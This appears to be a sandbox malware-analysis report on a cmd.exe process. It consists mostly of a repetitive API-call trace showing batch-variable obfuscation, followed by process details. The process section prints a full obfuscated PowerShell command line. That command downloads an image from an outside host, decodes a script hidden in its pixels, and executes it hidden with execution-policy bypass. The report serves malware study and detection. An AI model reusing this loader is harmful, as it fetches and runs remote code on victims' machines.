File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[ True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[t True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 18 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tY True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYP True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE] True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]( True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE](' True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
For performance reasons, the remaining 9845 entries are omitted.
The remaining entries can be found in glog.xml.
Process #3: cmd.exe
70 0
»
Information Value
ID #3
File Name c:\windows\system32\cmd.exe
Command Line cmd /CEchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://images2.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^^^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^^^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^^^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) |c:\wIndOws\SyStem32\CliP.ExE &&CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^^^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:00:56, Reason: Child Process
Unmonitor End Time: 00:01:41, Reason: Self Terminated
Monitor Duration 00:00:45
OS Process Information
»
Information Value
PID 0xb24
Parent PID 0xad8 (c:\windows\system32\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x B28
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000050000 0x00050000 0x00056fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000060000 0x00060000 0x00061fff Pagefile Backed Memory rw True False False -
private_0x0000000000070000 0x00070000 0x00070fff Private Memory rw True False False -
private_0x0000000000080000 0x00080000 0x00080fff Private Memory rw True False False -
private_0x00000000000b0000 0x000b0000 0x001affff Private Memory rw True False False -
private_0x0000000000200000 0x00200000 0x002fffff Private Memory rw True False False -
locale.nls 0x00300000 0x00366fff Memory Mapped File r False False False -
private_0x0000000000410000 0x00410000 0x0041ffff Private Memory rw True False False -
private_0x0000000000420000 0x00420000 0x0051ffff Private Memory rw True False False -
pagefile_0x0000000000520000 0x00520000 0x006a7fff Pagefile Backed Memory r True False False -
pagefile_0x00000000006b0000 0x006b0000 0x00830fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000840000 0x00840000 0x01c3ffff Pagefile Backed Memory r True False False -
pagefile_0x0000000001c40000 0x01c40000 0x01f82fff Pagefile Backed Memory r True False False -
sortdefault.nls 0x01f90000 0x0225efff Memory Mapped File r False False False -
cmd.exe 0x4a210000 0x4a268fff Memory Mapped File rwx True False False -
user32.dll 0x77a20000 0x77b19fff Memory Mapped File rwx False False False -
kernel32.dll 0x77b20000 0x77c3efff Memory Mapped File rwx False False False -
ntdll.dll 0x77c40000 0x77de8fff Memory Mapped File rwx False False False -
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory r True False False -
